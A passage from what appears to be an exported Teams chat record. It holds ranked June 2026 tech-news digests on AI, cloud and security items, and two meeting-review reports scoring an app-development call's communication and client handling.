\"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781862571753\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781862571753\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026\\n\\nReviewed 90 articles published June 12\u201319 across official feeds, Google News,\\nHacker News and major technology publications. Earlier ChatReview events were\\nexcluded.\\n\\n  1. **[AutoJack shows how one malicious page can reach an AI agent host](https://www.microsoft.com/en-us/security/blog/2026/06/18/autojack-single-page-rce-host-running-ai-agent/)** \u2014 **Score: 34/35.** Microsoft showed how untrusted page content could reach a local MCP socket and execute processes in AutoGen Studio. Fixed upstream; PyPI releases were not exposed.\\n  2. **[AWS Security Agent adds threat modeling and coding-agent integrations](https://aws.amazon.com/blogs/aws/aws-security-agent-adds-threat-modeling-kiro-power-and-claude-code-plugin-and-more/)** \u2014 **Score: 34/35.** Adds STRIDE threat modeling, repo/PR scanning with remediation, plus Kiro, Claude Code and MCP integrations\u2014bringing security reviews into developer workflows.\\n  3. **[Cloudflare launches agent-powered Zero Trust deployment stack](https://blog.cloudflare.com/cloudflare-one-stack/)** \u2014 **Score: 34/35.** A library of agent skills can plan, deploy and manage Zero Trust environments, turning network and security migration into an agent-assisted workflow.\\n  4. **[OpenAI simulates deployment to predict model behavior before release](https://openai.com/index/deployment-simulation)** \u2014 **Score: 33/35.** Deployment Simulation privately replays prior conversations against candidate models to predict real-world misbehavior, including agentic tool-use rollouts.\\n  5. **[Amazon Bedrock AgentCore adds managed web search](https://aws.amazon.com/blogs/aws/announcing-web-search-on-amazon-bedrock-agentcore-ground-your-ai-agents-in-current-accurate-web-knowledge/)** \u2014 **Score: 33/35.** AgentCore now offers MCP-based web search with citations and zero customer-data egress, reducing the infrastructure needed to build grounded agents.\\n  6. **[Mastra npm compromise poisoned more than 140 packages](https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/)** \u2014 **Score: 32/35.** Postinstall malware could hit developer machines and CI/CD pipelines before the compromised Mastra packages were removed and publishing access revoked.\\n  7. **[Google pushes its AI chips as a broader Nvidia rival](https://www.wsj.com/tech/ai/google-is-using-nvidias-playbook-to-build-a-rival-ai-chip-business-1eac86f9)** \u2014 **Score: 32/35.** Google is using its cloud reach and years of accelerator development to court external customers and build a larger rival AI-chip business.\\n  8. **[Amazon explores selling Trainium chips outside AWS](https://techcrunch.com/2026/06/18/amazon-hopes-to-challenge-nvidia-more-directly-by-selling-its-ai-chips/)** \u2014 **Score: 32/35.** AWS is in early talks to sell Trainium to outside data centers, signaling a direct challenge to Nvidia and a new AI-infrastructure business.\\n  9. **[AWS WAF lets publishers charge AI bots at the edge](https://aws.amazon.com/blogs/aws/aws-waf-adds-ai-traffic-monetization-capability-to-help-content-owners-charge-ai-bots-for-content-access/)** \u2014 **Score: 32/35.** AWS WAF can meter and charge verified AI bots per request using x402 settlement\u2014a notable new commercial model for publisher and agent access.\\n  10. **[Cloudflare publishes its AI-assisted vulnerability harness](https://blog.cloudflare.com/build-your-own-vulnerability-harness/)** \u2014 **Score: 32/35.** Cloudflare detailed a multi-stage discovery and triage system designed to manage state, false positives and model context limits during security research.\\n  11. **[GitHub Copilot code review now follows AGENTS.md](https://github.blog/changelog/2026-06-18-copilot-code-review-agents-md-support-and-ui-improvements)** \u2014 **Score: 32/35.** Copilot code review now reads repository-level AGENTS.md instructions and is easier to request on draft pull requests; the changes are generally available.\\n  12. **[GitHub Actions gets safer pull_request_target defaults](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout)** \u2014 **Score: 31/35.** actions/checkout v7 reduces \u201cpwn request\u201d risk, where unreviewed fork code can run with repository secrets and elevated GITHUB_TOKEN permissions.\\n  13. **[MAI-Code-1-Flash expands across GitHub Copilot](https://github.blog/changelog/2026-06-18-mai-code-1-flash-available-on-more-copilot-surfaces/)** \u2014 **Score: 31/35.** Microsoft\u2019s small coding model is rolling out across Copilot CLI, GitHub, VS Code and mobile, with Business and Enterprise access planned.\\n  14. **[OpenAI adds enterprise usage analytics and spend controls](https://openai.com/index/chatgpt-enterprise-spend-controls)** \u2014 **Score: 31/35.** ChatGPT Enterprise adds unified ChatGPT/Codex credit analytics plus workspace, group and user limits to make AI rollout costs more governable.\\n  15. **[Critical Splunk flaw is exploited days after disclosure](https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/)** \u2014 **Score: 30/35.** CVE-2026-20253 was exploited days after disclosure; CISA gave agencies three days to patch the unauthenticated file-operation flaw.\",\n>       \"created_at\": \"2026-06-19T09:49:31.753Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781693002738\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781693002738\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 2/10\\n\\nSecond repeat pass. Previously posted same-event stories were filtered out.\\n\\n  1. **[Oracle warns PeopleSoft customers after mass exploitation](https://www.techradar.com/pro/security/oracle-warns-customers-of-critical-peoplesoft-attack-after-hundreds-of-servers-hacked-by-apparent-shinyhunters-data-theft-attacks)** \\\\- Score: 31/35. CVE-2026-35273 was reportedly exploited as a zero-day before Oracle's June 10 patch, hitting enterprise and university systems.\\n  2. **[Hades malware tricks AI scanners with prompt injection](https://www.tomshardware.com/tech-industry/cyber-security/hades-malware-campaign-now-tricks-ai-bots-by-injecting-text-about-biological-and-nuclear-weapons-failsafe-mechanisms-triggered-by-prompts-for-weapon-creation-stop-scans-before-payload-is-seen)** \\\\- Score: 31/35. Malicious Python and JavaScript packages now embed unsafe prompts to trip AI scanner safeguards and hide payloads from cursory checks.\\n  3. **[Vibe-coding startups are raising billions](https://www.businessinsider.com/startups-raising-billions-vibe-coding-boom-cursor-lovable-replit-emergent-2026-3)** \\\\- Score: 30/35. Replit, Lovable, Cognition, Poolside and others show how natural-language app building is pulling capital into developer tooling.\\n  4. **[Google Gemini suffers multi-hour global outage](https://www.techradar.com/news/live/gemini-down-june-2026)** \\\\- Score: 29/35. Gemini users saw error 1076/1099 across web and mobile, underscoring reliability risk as teams depend on AI assistants for work.\\n  5. **[Tech leaders soften how they talk about AI job impact](https://www.businessinsider.com/ai-job-impact-losses-shifting-sam-altman-mustafa-suleyman-comments-2026-6)** \\\\- Score: 28/35. Altman, Suleyman and others are reframing AI from job wipeout to task automation as public and political backlash rises.\\n  6. **[OpenAI and Anthropic warn about the AI future they are building](https://www.businessinsider.com/openai-anthropic-warning-about-future-they-are-building-2026-6)** \\\\- Score: 28/35. Frontier labs are calling for stronger safety coordination while still racing to ship models and developer automation tools.\\n  7. **[OpenAI and Anthropic IPO plans could reshape AI investing](https://www.businessinsider.com/openai-anthropic-ai-ipo-spacex-stocks-stock-market-investing-trade-2026-6)** \\\\- Score: 27/35. Direct public listings for frontier labs could pull capital away from hyperscalers, chips and other indirect AI beneficiaries.\\n  8. **[Palantir CEO criticizes AI companies and their deployment model](https://www.businessinsider.com/palantir-ceo-ai-companies-leaders-unlikeable-fde-competition-2026-6)** \\\\- Score: 26/35. Alex Karp says AI firms misunderstand public trust and copy Palantir's forward-deployed model without enough operational discipline.\\n  9. **[The Internet of Agentic AI](https://arxiv.org/abs/2606.12835)** \\\\- Score: 26/35. New research frames autonomous agents as distributed systems needing identity, negotiation, trust, governance and resource control.\\n  10. **[Programming languages still matter to AI coding agents](https://arxiv.org/abs/2606.13763)** \\\\- Score: 26/35. Claude Code and Codex built chess engines in 17 languages, but performance, cost and supervision still varied heavily by language.\",\n>       \"created_at\": \"2026-06-17T10:43:22.738Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692653287\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692653287\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 1/10\\n\\nFresh pass after the earlier Jun 17 post. Same-event duplicates from prior\\nChatReview posts were skipped.\\n\\n  1. **[Salesforce to acquire AI agent maker Fin in $3.6B deal](https://www.investors.com/news/technology/salesforce-stock-fin-artificial-intelligence-acqusition-crm/)** \\\\- Score: 32/35. Salesforce is buying Fin/Intercom to strengthen Agentforce, showing how agentic AI is reshaping CRM and enterprise support software.\\n  2. **[OpenAI's latest acquisition could reshape Codex](https://www.techradar.com/pro/openais-latest-acquisition-could-see-big-changes-on-the-way-for-its-codex-coding-assistant)** \\\\- Score: 31/35. OpenAI's planned Ona acquisition targets persistent agent environments, a key building block for long-running Codex and workflow automation.\\n  3. **[Microsoft temporarily bans employees from Claude Fable 5](https://www.windowscentral.com/artificial-intelligence/microsoft-temporarily-ban-employees-from-using-claude-fable-5-ai)** \\\\- Score: 31/35. Anthropic data-retention changes triggered internal Microsoft restrictions, highlighting enterprise AI privacy and competitive-data risks.\\n  4. **[OpenAI weighs price cuts to compete with Anthropic](https://nypost.com/2026/06/11/business/openai-weighs-slashing-prices-in-attempt-to-lure-users-from-rival-anthropic-report/)** \\\\- Score: 30/35. Possible token-price cuts point to a broader AI pricing war that could change model selection and product economics for engineering teams.\\n  5. **[Enterprises are still unprepared to operationalize AI agents](https://www.itpro.com/technology/artificial-intelligence/most-enterprises-are-still-unprepared-to-operationalize-it-it-leaders-are-bullish-on-agents-but-keeping-falling-at-the-final-hurdle-heres-why)** \\\\- Score: 29/35. Forrester warns most agent projects remain pilots because governance, orchestration, data quality and security controls are not mature enough.\\n  6. **[Security at machine speed: why the SOC must be rebuilt](https://www.techradar.com/pro/security-at-machine-speed-why-the-soc-must-be-rebuilt-for-the-ai-era)** \\\\- Score: 29/35. AI-accelerated attacks are forcing SOC teams toward agentic detection, faster triage and new response metrics.\\n  7. **[CISA orders urgent patching for exploited Check Point VPN flaw](https://timesofindia.indiatimes.com/technology/tech-news/us-cybersecurity-agency-cisa-to-homeland-security-department-of-state-treasury-and-several-other-government-agencies-you-have-less-than-24-hours-to-fix-/articleshow/131630443.cms)** \\\\- Score: 29/35. Federal agencies were told to fix CVE-2026-50751 quickly, a reminder that VPN and identity-edge systems remain high-priority attack paths.\\n  8. **[Rule taxonomy and evolution in AI IDEs](https://arxiv.org/abs/2606.12231)** \\\\- Score: 28/35. Researchers mined 7,310 AI IDE rules, showing project-specific constraints improve compliance and are becoming real engineering artifacts.\\n  9. **[AI-driven software development: path to agentic processes](https://arxiv.org/abs/2606.15283)** \\\\- Score: 28/35. New research frames agentic development around context, permissions, logging, verification and human approval rather than simple code generation.\\n  10. **[Mining architectural quality under agentic AI adoption](https://arxiv.org/abs/2606.13298)** \\\\- Score: 27/35. A causal Java-repo study warns that architecture metrics can look better simply because AI-assisted codebases grow larger.\\n  11. **[Agentic AI-generated Julia code struggles at HPC scale](https://arxiv.org/abs/2606.16534)** \\\\- Score: 27/35. AI agents produced executable parallel Julia code, but larger HPC runs hit deadlocks, oversubscription and memory failures.\\n  12. **[Chaining tasks, redefining work: a theory of AI automation](https://arxiv.org/abs/2606.15960)** \\\\- Score: 26/35. A new automation model explains how AI changes jobs by chaining adjacent tasks, with implications for workflow and org design.\",\n>       \"created_at\": \"2026-06-17T10:37:33.287Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692120704\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692120704\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026\\n\\nReviewed 50+ recent items from Jun 10-17, 2026. Duplicate events from previous\\nChatReview news posts were skipped.\\n\\n  1. **[Anthropic export ban sounds alarms for AI industry](https://www.axios.com/2026/06/16/ai-anthropic-export-controls)** \\\\- Score: 34/35. U.S. controls on Anthropic's Fable/Mythos models raise access, safety and go-to-market risk for frontier AI customers.\\n  2. **[Microsoft turns to Amazon for help with GitHub's AI-driven capacity issues](https://www.businessinsider.com/microsoft-github-amazon-ai-cloud-capacity-2026-6)** \\\\- Score: 34/35. AI coding demand is straining GitHub; Microsoft is reportedly adding AWS capacity to reduce outages and keep developer workflows stable.\\n  3. **[SpaceX is buying AI coding startup Cursor for $60 billion](https://www.businessinsider.com/spacex-confirms-cursor-acquisition-60-billion-ai-coding-startup-2026-6)** \\\\- Score: 33/35. One of the largest AI developer-tool deals would fold Cursor into Musk's AI stack and reshape competition with Copilot, Codex and Claude Code.\\n  4. **[CISA tells US agencies to fix security bugs in as little as 3 days thanks to AI threats](https://www.wired.com/story/cisa-ai-vulnerability-directive)** \\\\- Score: 33/35. CISA's new BOD cuts critical vulnerability remediation to as little as three days, signaling faster patch SLAs for AI-era security.\\n  5. **[Microsoft weighs DeepSeek for Copilot Cowork](https://www.axios.com/2026/06/16/microsoft-copilot-cowork-tokenmaxxing-cowork)** \\\\- Score: 33/35. Microsoft may add Azure-hosted DeepSeek and move Copilot Cowork to usage pricing, highlighting cost pressure in enterprise AI agents.\\n  6. **[Visa to secure payments for shoppers on ChatGPT in OpenAI partnership](https://www.wsj.com/tech/ai/visa-to-secure-payments-for-shoppers-on-chatgpt-in-openai-partnership-7ece5b22)** \\\\- Score: 32/35. Visa and OpenAI are building controlled agent payments for ChatGPT, pushing agentic commerce toward real payment rails and merchant APIs.\\n  7. **[AI shifts cyber's hardest problem from finding flaws to fixing them](https://www.wsj.com/pro/cybersecurity/ai-shifts-cybers-hardest-problem-from-finding-flaws-to-fixing-them-43678882)** \\\\- Score: 32/35. Visa's AI security work argues the bottleneck is no longer finding bugs but validating, patching and testing fixes fast enough.\\n  8. **[Databricks releases general AI agents for businesses](https://www.wsj.com/cio-journal/databricks-releases-general-ai-agents-for-businesses-abffb409)** \\\\- Score: 31/35. Databricks launched Genie One, Genie Agents, App Builder and Genie Code, expanding from data platform into enterprise AI agent workflows.\\n  9. **[Arcade.dev raises $60 million to secure AI agents](https://www.wsj.com/cio-journal/arcade-dev-raises-60-million-to-secure-ai-agents-5d07eff4)** \\\\- Score: 31/35. Arcade's funding spotlights agent authorization: separating reasoning from actions, enforcing runtime policy and auditing MCP/A2A tool access.\\n  10. **[Microsoft walked away from a $3 billion Oracle cloud deal over security concerns](https://www.businessinsider.com/microsoft-was-in-talks-to-lease-oracle-compute-capacity-2026-6)** \\\\- Score: 31/35. Microsoft dropped an Oracle capacity deal over FedRAMP gaps, showing compliance is becoming a hard constraint in AI compute sourcing.\\n  11. **[HPE flexes Juniper muscles in AI networking at Discover event](https://www.investors.com/news/technology/hpe-stock-discover-conference-juniper-artificial-intelligence/)** \\\\- Score: 30/35. HPE is packaging Juniper networking into AI data-center and edge stacks, raising competition with Cisco, Arista and Nvidia networking.\\n  12. **[OpenAI hit with multistate probe into possible user harm as IPO looms](https://apnews.com/article/a95894407773307fae8ae3ce9742b586)** \\\\- Score: 30/35. A 42-state probe into OpenAI's data, ads, minors and safety practices may shape AI product governance and enterprise risk reviews.\\n  13. **[Rackspace stock surges on AMD data-center deal](https://www.barrons.com/articles/rackspace-stock-price-amd-data-center-deal-aebdbae1)** \\\\- Score: 29/35. Rackspace chose AMD as primary AI data-center supplier, part of a broader shift toward managed AI infrastructure outside hyperscaler clouds.\\n  14. **[Nvidia joins AI data-center borrowers as infrastructure debt surges](https://www.investors.com/news/technology/ai-data-centers-suppliers-nvidia-debt/)** \\\\- Score: 29/35. Nvidia's bond issue and rising AI data-center debt show how aggressively the industry is financing compute capacity through 2030.\\n  15. **[Databricks rolls out AI spend controls](https://www.axios.com/2026/06/16/databricks-stop-ai-overspend-tokenmaxxing)** \\\\- Score: 29/35. Databricks' Unity AI Gateway adds spend limits and runaway-use controls, a practical response to unpredictable agent/token costs.\",\n>       \"created_at\": \"2026-06-17T10:28:40.704Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604960018\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604960018\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Concise Version\\n\\n**Selected meeting:** Latest completed Fathom meeting, Apr 21, 2026. Reviewed\\nagainst the 20 most recent prior Jenish-recorded meetings. Sensitive details\\nremoved.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### Score Summary\\n\\n  * **Overall:** 4.3/10 - Needs Improvement\\n  * **Grammar:** 3/10 - Poor. Sentences were often incomplete or hard to parse. Some noise may come from transcription, but clarity still needs work.\\n  * **Communication:** 5/10 - Needs Improvement. Right topics were covered, but the meeting lacked structure and recap discipline.\\n  * **Client frustration handling:** 5/10 - Needs Improvement. Risk increases when questions repeat or timelines are not explained early.\\n\\n### What Went Well\\n\\n  * The team identified important risks: backend migration, login, TTS/audio, grammar correction, Roleplay, payment logic, and cleanup.\\n  * Action items were captured for documentation, testing, migration, and feature fixes.\\n  * Across recent meetings, access negotiation and production-risk planning have improved.\\n\\n### Top Issues By Business Impact\\n\\n  1. **High - unclear opening/context.** Evidence: 00:02 and 02:33. The meeting should start with goal, agenda, and expected output.\\n  2. **High - broad status request.** Evidence: 03:03. Ask by module: status, blocker, owner, due date, test proof.\\n  3. **High - migration discussion too unstructured.** Evidence: 18:37. Supabase, webhooks, TTS, queues, keys, and cleanup should be split into decisions.\\n  4. **Medium - repeated completion checks.** Evidence: 09:49, 18:08-18:20, 31:30-32:04. Repeating done/clear without feature names wastes time.\\n  5. **Medium - client delay concern pattern.** Evidence from prior client call: 35:01. The client had asked repeatedly about timing and still did not understand the delay.\\n\\n### Repeated / Unclear Questions\\n\\n  * **Unclear:** \u201cHow much complete and how much rest?\u201d   \\n**Better:** \u201cList each module with status, blocker, owner, due date, and test\\nevidence.\u201d\\n\\n  * **Unclear:** \u201cIs it done?\u201d   \\n**Better:** \u201cIs this implemented, tested on staging, and matching expected\\nbehavior?\u201d\\n\\n  * **Unclear:** \u201cCheck payment logic.\u201d   \\n**Better:** \u201cVerify purchase success, webhook update, entitlement allocation,\\nfailure handling, and refund/cancel behavior.\u201d\\n\\n### Trend Across Recent Meetings\\n\\n  * **Improved:** better access negotiation, better production rollback thinking, more consistent Fathom action-item capture.\\n  * **Still recurring:** weak English polish, unclear meeting control, repeated clarifications, technical detail before business impact, and reactive timeline explanations.\\n\\n### Recommended Actions\\n\\n  1. Use a fixed meeting checklist: agenda, modules, blockers, decisions, owners, dates.\\n  2. Ask one question at a time, then confirm: decision + owner + deadline + test evidence.\\n  3. Before asking the client for access/details, explain why it is needed.\\n  4. End every call with a 60-second recap and send written notes within 15 minutes.\\n\\n**Final recommendation:** Focus first on meeting structure. Grammar matters,\\nbut the biggest business improvement will come from agenda control, clearer\\nquestions, and consistent decision/owner/date recaps.\",\n>       \"created_at\": \"2026-06-16T10:16:00.018Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604667200\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604667200\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report\\n\\n**Selected meeting:** Most recent completed Fathom recording: Math IQ app\\nreview, Apr 21, 2026.\\n\\n**Trend context:** Reviewed the selected transcript plus the 20 most recent\\nprior Jenish-recorded Fathom meetings from Apr 20 to Feb 27, 2026. Detailed\\nline evidence is from the selected transcript plus two comparison transcripts.\\nSensitive client details have been removed.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.3/10 - Needs Improvement. Average of grammar, communication, and client-frustration handling.\\n  * **Grammar score:** 3/10 - Poor. Many captured sentences are incomplete, hard to parse, or use unclear word choices. Some may be Fathom transcription noise, but the call still reads difficult to follow.\\n  * **Communication score:** 5/10 - Needs Improvement. The meeting covered the right technical areas, but structure, ownership, and recap discipline were weak.\\n  * **Client-frustration handling score:** 5/10 - Needs Improvement. Latest call was mostly internal, but the broader pattern shows risk when timeline, access, or reason-for-question is not explained before asking for details.\\n  * **Client frustration risk:** 4/10 in the selected internal meeting; higher in client meetings when repeated clarifications or timeline delays appear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting reviewed Math IQ app status, Flutter/backend architecture,\\nmigration from cloud functions to Supabase, push notifications, Google login,\\nTTS/audio playback, grammar correction, Learn Flow, Roleplay, referral\\nhandling, scheduled notifications, payment logic, and documentation. The team\\ndid surface useful tasks, but the conversation was difficult to follow because\\nseveral requests were broad, repeated, or missing a clear\\nowner/date/acceptance-criteria recap.\\n\\n### 3\\\\. What Went Well\\n\\n  * Important technical risks were raised, including backend migration, payment logic, TTS/audio, login, and production cleanup.\\n  * The team did identify concrete follow-ups such as documentation, migration cleanup, feature fixes, testing, and disabling non-priority items.\\n  * Across prior meetings, access negotiation improved: when code access was not available, tester/app access was accepted as a practical alternative.\\n  * In the Apr 6 comparison meeting, rollout risk thinking was stronger: backend first, app submissions separately, rollback if needed, and user migration planning.\\n\\n### 4\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact - Unclear opening and context.** Evidence: selected transcript L1 @ 00:02 and L2 @ 02:33. The opening did not clearly state agenda, meeting goal, or expected output, which makes the meeting harder to control.\\n  2. **High impact - Broad status request without a checklist.** Evidence: L3 @ 03:03 asked for what is complete and what remains, but not by module, blocker, owner, or due date. This increases risk of missed scope.\\n  3. **High impact - Technical migration discussion lacked decision framing.** Evidence: L6 @ 18:37 covered Supabase migration, webhooks, TTS, queues, keys, and removed tables in one long block. This should have been split into clear decisions and owners.\\n  4. **High impact - Vague task handoff.** Evidence: L11 @ 30:53 asked to check payment logic, but did not define expected behavior, test cases, failure states, or success criteria.\\n  5. **Medium impact - Repeated completion checks.** Evidence: L4 @ 09:49, L5 @ 18:08-18:20, L8 @ 24:15, and L12 @ 31:30-32:04. Repeating done/complete/clear without a precise feature name can waste time and create confusion.\\n  6. **Medium impact - Client delay concern pattern.** Evidence: Apr 6 comparison transcript T2 @ 35:01. The client indicated they had asked repeatedly about timing and still did not understand the delay. This is a trust risk if not acknowledged early.\\n  7. **Low to medium impact - Meeting close was too weak.** Evidence: L13 @ 32:22-32:35. The call ended without a crisp recap of decisions, owners, deadlines, and risks.\\n\\n### 5\\\\. Missed Opportunities\\n\\n  * Start with a 30-second agenda: status, blockers, migration, bugs, owners, deadlines.\\n  * Use a module checklist instead of broad questions like what is complete and what is remaining.\\n  * After each answer, repeat the decision, owner, deadline, and test evidence.\\n  * Explain why access or technical details are needed before asking the client for them.\\n  * Separate internal debugging from client-facing business impact.\\n  * End with a written recap promise and send it immediately after the meeting.\\n\\n### 6\\\\. Repeated Questions\\n\\n  * Completion checks repeated without enough specificity: done, complete, clear, okay.\\n  * Testing questions repeated around Google login, TTS/audio, grammar correction, Roleplay, and notifications.\\n  * Some follow-up was necessary because the transcript was unclear, but repetition could be reduced by keeping a visible checklist and closing each topic before moving on.\\n\\n### 7\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell how much is complete and how much is remaining. **Better:** Please list each module with status, blocker, owner, due date, and test evidence.\\n  * **Unclear:** Do we use Firebase? **Better:** Are we using Firebase for push notifications only, or also auth, database, cloud functions, or analytics?\\n  * **Unclear:** Is it done? **Better:** Is this feature implemented, tested on staging, and verified against the expected behavior?\\n  * **Unclear:** Check payment logic. **Better:** Verify purchase success, webhook update, entitlement allocation, failure handling, and refund/cancel behavior.\\n\\n### 8\\\\. Necessary Follow-Up Vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for tester access before estimating or quoting.\\n  * Confirming which backend services still depend on cloud functions.\\n  * Confirming whether login, audio/TTS, grammar correction, and Roleplay are actually tested.\\n  * Asking about production rollout, app approval risk, rollback, and user migration.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete/done/clear after the same answer without narrowing the exact feature.\\n  * Re-asking information that should be captured in the checklist.\\n  * Continuing a topic after owner and action are already known instead of closing it.\\n\\n### 9\\\\. Root Causes Of Client Frustration\\n\\n  * Questions are sometimes asked before the business reason is explained.\\n  * Clients may hear repeated technical questions as uncertainty rather than discovery.\\n  * Timeline or delay explanations are sometimes reactive instead of proactive.\\n  * Broad questions create extra clarification work for the client.\\n  * Missing recap discipline means decisions may need to be repeated in future calls.\\n\\n### 10\\\\. Communication Pattern Trend Across Recent Meetings\\n\\n**Improved over time:**\\n\\n  * Access negotiation became more practical: the Apr 20 call moved from code access to tester/app access without blocking the quote process.\\n  * Risk planning improved in production-launch discussions, especially rollback and user migration.\\n  * Fathom action-item capture has become more consistent in recent calls.\\n  * Recent meetings show better awareness of dependencies across backend, app stores, payments, and user impact.\\n\\n**Recurring weaknesses still showing up:**\\n\\n  * English polish and sentence clarity remain weak in client-facing explanations.\\n  * Meeting control is inconsistent: agenda, topic boundaries, and recap are not always clear.\\n  * Broad questions and repeated clarifications keep appearing in technical meetings.\\n  * Business-impact framing often comes after technical details instead of before them.\\n  * Timeline expectations need more proactive communication before the client asks again.\\n\\n### 11\\\\. Recommended Actions\\n\\n  1. **Before each meeting:** Prepare a one-page checklist with agenda, modules, open questions, risks, and required decisions.\\n  2. **During the meeting:** Ask one question at a time, then confirm: decision, owner, due date, and test evidence.\\n  3. **For client questions:** Start with why the detail is needed, then ask the question.\\n  4. **For technical handoffs:** Use Feature / Expected behavior / Current issue / Owner / Due date / Test case.\\n  5. **After the meeting:** Send a recap within 15 minutes with decisions, owners, deadlines, and risks.\\n\\n### 12\\\\. Useful Replacement Phrases\\n\\n  * **Instead of:** Can you give access? **Say:** To estimate accurately, I need tester access to verify the current flow. Code access is not required at this stage.\\n  * **Instead of:** Is this done? **Say:** Can you confirm whether this feature is implemented, tested on staging, and matching the expected behavior?\\n  * **Instead of:** Why delay? **Say:** The delay is due to these risks: approval timing, backend compatibility, and rollback planning. Here is the current plan and fallback.\\n  * **Instead of:** Check this logic. **Say:** Please verify these five cases and report pass/fail with screenshots or logs.\\n\\n### Final Recommendation\\n\\nThe biggest improvement will come from structure, not only 